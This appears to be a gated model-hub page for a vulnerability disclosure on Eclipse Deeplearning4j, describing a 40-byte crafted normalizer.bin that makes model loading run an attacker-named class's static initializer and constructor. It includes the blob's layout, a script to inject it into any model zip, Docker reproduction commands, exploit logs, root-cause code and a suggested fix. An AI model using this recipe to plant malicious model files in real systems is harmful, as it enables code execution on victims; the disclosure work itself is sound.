You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

These are deliberately malicious Eclipse Deeplearning4j (DL4J) model artifacts that trigger unsafe reflection (arbitrary class loading with static-initializer execution and arbitrary no-arg instantiation) when loaded with DL4J's normalizer-aware ModelSerializer.restore*AndNormalizer / NormalizerSerializer.restore APIs. They are provided solely for coordinated vulnerability disclosure and defensive verification. Use them only inside an isolated sandbox; do not redistribute. By requesting access you confirm you will load these artifacts only in an isolated sandbox, will not redistribute them, and understand they are bug-triggering security-research artifacts. Access is granted to protectai-bot for huntr bounty review and to the vendor for coordinated disclosure.

Log in or Sign Up to review the conditions and access this model content.

DL4J normalizer.bin CUSTOM-strategy unsafe reflection (Class.forName(initialize=true) + newInstance()) β€” gated PoC

Coordinated-disclosure security-research artifact. Gated β€” keep private until a fix ships.

⚠️ What these files are

evil_normalizer.bin is a 40-byte hand-crafted DL4J normalizer blob whose CUSTOM-strategy header names an attacker-controlled class (poc.EvilGadget). When DL4J loads a model saved with a normalizer attached (via ModelSerializer.restoreMultiLayerNetworkAndNormalizer / restoreNormalizerFromFile / NormalizerSerializer.restore), NormalizerSerializer.parseHeader reads that class name and passes it to ND4JClassLoading.loadClassByName = Class.forName(name, initialize=true, cl) with no allowlist, then calls newInstance() on the result β€” running the named class's static initializer and no-arg constructor before a too-late ClassCastException. This is arbitrary class load + instantiation during model load, before any inference. These files trigger code paths that lead to code execution; load them only in an isolated sandbox.

This is CWE-470 (unsafe reflection) β€” it uses no ObjectInputStream, is unaffected by any JEP-290 ObjectInputFilter, and is distinct from CVE-2025-53001 (the preprocessor.bin / ObjectInputStream sink). See Responsible disclosure below.

The model file(s)

File What it does on load
evil_normalizer.bin The malicious normalizer blob (writeUTF("NORMALIZER"); writeInt(1); writeUTF("CUSTOM"); writeUTF("poc.EvilGadget")). Drop it in as the normalizer.bin entry of a DL4J model .zip; loading via a normalizer-aware API runs poc.EvilGadget's static-init + constructor.
poc/craft_evil_model.sh Injects evil_normalizer.bin as the normalizer.bin entry of any DL4J model .zip, producing evil_model.zip (no pre-built evil_model.zip is shipped β€” generate it from your own clean DL4J model, or run poc/FullVictim.java which trains one and weaponizes it in-process).
poc/EvilGadget.java Benign demo class β€” only prints loud markers and dumps its own attribution stack (no shell). Substitute any classpath class with a side-effecting <clinit>/no-arg ctor to demonstrate real impact.
poc/Victim.java Minimal driver: NormalizerSerializer.getDefault().restore(InputStream) on the crafted blob + STANDARDIZE negative control.
poc/FullVictim.java Full model-file driver: trains a real MultiLayerNetwork, injects the malicious normalizer.bin, then loads via ModelSerializer.restoreMultiLayerNetworkAndNormalizer(evil_model.zip, true).

Root cause (code)

DL4J 1.0.0-M2.1. org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer (artifact org.nd4j:nd4j-api) β€” line numbers from the proven M2.1 runtime stack (parseHeader:241, getStrategy:174):

// parseHeader(...) β€” CUSTOM branch
String strategyClassName = dis.readUTF();                         // attacker-controlled FQCN
Class<? extends NormalizerSerializerStrategy> strategyClass =
    ND4JClassLoading.loadClassByName(strategyClassName);          // L241: NO allowlist

// getStrategy(Header header)
return header.customStrategyClass.newInstance();                  // L174: no-arg ctor; cast too late

org.nd4j.common.config.ND4JClassLoading (artifact org.nd4j:nd4j-common) β€” the unguarded loader (runtime: loadClassByName:56, :62):

public static <T> Class<T> loadClassByName(String className) {
    return loadClassByName(className, true, nd4jClassloader);     // initialize = TRUE
}
public static <T> Class<T> loadClassByName(String className, boolean initialize, ClassLoader cl) {
    return (Class<T>) Class.forName(className, initialize, cl);   // unchecked erased cast
}

The @SuppressWarnings("unchecked") erased cast returns Class<T> without verifying T <: NormalizerSerializerStrategy. The ClassCastException is thrown only when the constructed object is assigned to NormalizerSerializerStrategy β€” strictly after Class.forName(initialize=true) ran <clinit> and newInstance() ran the constructor.

Reached through org.deeplearning4j.util.ModelSerializer (deeplearning4j-core): the normalizer.bin entry of the model zip β†’ restoreNormalizerFromMap β†’ NormalizerSerializer.getDefault().restore(...). Only normalizer-aware APIs reach it (restore*AndNormalizer, restoreNormalizerFrom*, direct NormalizerSerializer.restore); bare restoreMultiLayerNetwork(File) does not.

Reproduction

# Minimal vector (deps: org.nd4j:nd4j-api:1.0.0-M2.1 only)
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 mvn -B package
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 \
  java -jar target/poc-jar-with-dependencies.jar exploit     # writes /tmp/dl4j_pwned_marker
docker run --rm -v "$PWD:/poc" -w /poc maven:3.9-eclipse-temurin-11 \
  java -jar target/poc-jar-with-dependencies.jar negative    # STANDARDIZE control, no marker

# Weaponize an arbitrary clean DL4J model zip
poc/craft_evil_model.sh clean_model.zip evil_model.zip
#   then load evil_model.zip via ModelSerializer.restoreMultiLayerNetworkAndNormalizer(file, true)

# Full model-file vector (deps: deeplearning4j-core + nd4j-native-platform; mainClass poc.FullVictim)
#   trains a real model, injects normalizer.bin, loads it -> writes /tmp/dl4j_model_pwned_marker

poc/Dockerfile + poc/run.sh reproduce the exact environment (Docker maven:3.9-eclipse-temurin-11, JDK 11). poc/pom.xml = minimal; poc/pom-full.xml = full model-file vector.

Observed results (verbatim)

Minimal vector (logs/stdout.log + logs/attribution_stack.log):

=== EXPLOIT: CUSTOM header -> arbitrary class load+instantiate ===
Crafted blob (40 bytes), target class = poc.EvilGadget
!!! PWNED (static init) via DL4J NormalizerSerializer CUSTOM β€” static initializer ran on model load !!!
!!! PWNED via DL4J NormalizerSerializer CUSTOM β€” code exec on model load !!!
restore() threw AFTER gadget ran (expected): java.lang.ClassCastException: class poc.EvilGadget cannot be cast to class org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializerStrategy ...
EXPLOIT marker /tmp/dl4j_pwned_marker present = true
VERDICT: CONFIRMED β€” attacker class no-arg ctor + static init executed on normalizer restore.
threw_after_gadget=true

Attribution (library frames prove the flow goes through DL4J, not a direct call):

at poc.EvilGadget.<clinit>(EvilGadget.java:19)
at java.base/java.lang.Class.forName(Class.java:398)
at org.nd4j.common.config.ND4JClassLoading.loadClassByName(ND4JClassLoading.java:62)
at org.nd4j.common.config.ND4JClassLoading.loadClassByName(ND4JClassLoading.java:56)
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.parseHeader(NormalizerSerializer.java:241)
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.restore(NormalizerSerializer.java:114)

Full model-file vector (logs/model_vector.log):

Saved clean model: /tmp/clean_model.zip (958 bytes)
Wrote weaponized model: /tmp/evil_model.zip (1120 bytes)
=== Victim: ModelSerializer.restoreMultiLayerNetworkAndNormalizer(evil_model.zip, true) ===
!!! PWNED (static init) via ModelSerializer.restore*AndNormalizer β€” model-file load !!!
!!! PWNED via ModelSerializer.restore*AndNormalizer β€” code exec on model-file load !!!
MODEL-VECTOR marker present = true
VERDICT: CONFIRMED β€” arbitrary code exec from DL4J *.zip model file via normalizer.bin
threw_after_gadget=true
RUN_EXIT=0
   ...
at org.nd4j.linalg.dataset.api.preprocessor.serializer.NormalizerSerializer.getStrategy(NormalizerSerializer.java:174)
at org.deeplearning4j.util.ModelSerializer.restoreNormalizerFromMap(ModelSerializer.java:927)
at org.deeplearning4j.util.ModelSerializer.restoreMultiLayerNetworkAndNormalizer(ModelSerializer.java:410)

Negative control (logs/negative_control.log) β€” class-load reached ONLY on the attacker-chosen CUSTOM branch:

=== NEGATIVE CONTROL: STANDARDIZE header (no class name) ===
restore() threw (expected, no registered/legacy strategy match): java.io.EOFException: null
NEGATIVE-CONTROL marker present = false  (expected: false β€” gadget must NOT load)
NEGATIVE-CONTROL: PASS

Affected versions

All Eclipse Deeplearning4j versions ≀ 1.0.0-M2.1 (entire release history; M2.1 is the current latest). No fix exists. The CUSTOM-strategy branch is part of the published API; no ObjectInputFilter mitigates it.

Severity (CVSS)

  • Lead (conditional RCE): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 7.8 High
  • Floor (unconditional primitive β€” forced static-init + no-arg instantiation = guaranteed DoS): CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:H = 6.6 Medium
  • AV:N ceiling (hub-delivered model): CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High (noted).

Turnkey OS-command execution is conditional on a side-effecting gadget class (side-effecting <clinit> / no-arg ctor) on the victim's broader/transitive classpath β€” none in vanilla deeplearning4j-core, common in serving stacks (DB pool initializers, JNDI context factories, scripting engines, plugin loaders). The attacker primitive supplies only a class-NAME string, so classic ysoserial field-injection chains do not apply. No shell is demonstrated here.

CWE

CWE-470 (Use of Externally-Controlled Input to Select Classes or Code / Unsafe Reflection).

Suggested fix

Allowlist customStrategyClass to classes registered as CustomSerializerStrategy / NormalizerSerializerStrategy subtypes, and/or resolve the name with Class.forName(name, /*initialize=*/ false, cl) + an isAssignableFrom check before initializing or calling newInstance(). ND4JClassLoading.loadClassByName should not default to initialize=true for deserialization-driven class names.

Responsible disclosure

Reported via huntr (ProtectAI). This repo is gated and kept private until the vendor ships a fix and publication is agreed. Do not redistribute. Distinct from CVE-2025-53001 (the preprocessor.bin / ObjectInputStream sink) and from Issue #10428 β€” whose "preprocessor or normalizer entries" refers exclusively to the deprecated ObjectInputStream.readObject() DataNormalization path (ModelSerializer L971-973); the reflective NormalizerSerializer.parseHeader CUSTOM sink is not mentioned in #10428 in any form. Different ZIP entry, engine (reflection, not readObject), CWE (470 vs 502), and fix surface (class allowlist vs ObjectInputFilter); a JEP-290 ObjectInputFilter does not mitigate this path. Credit: j0hndo.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support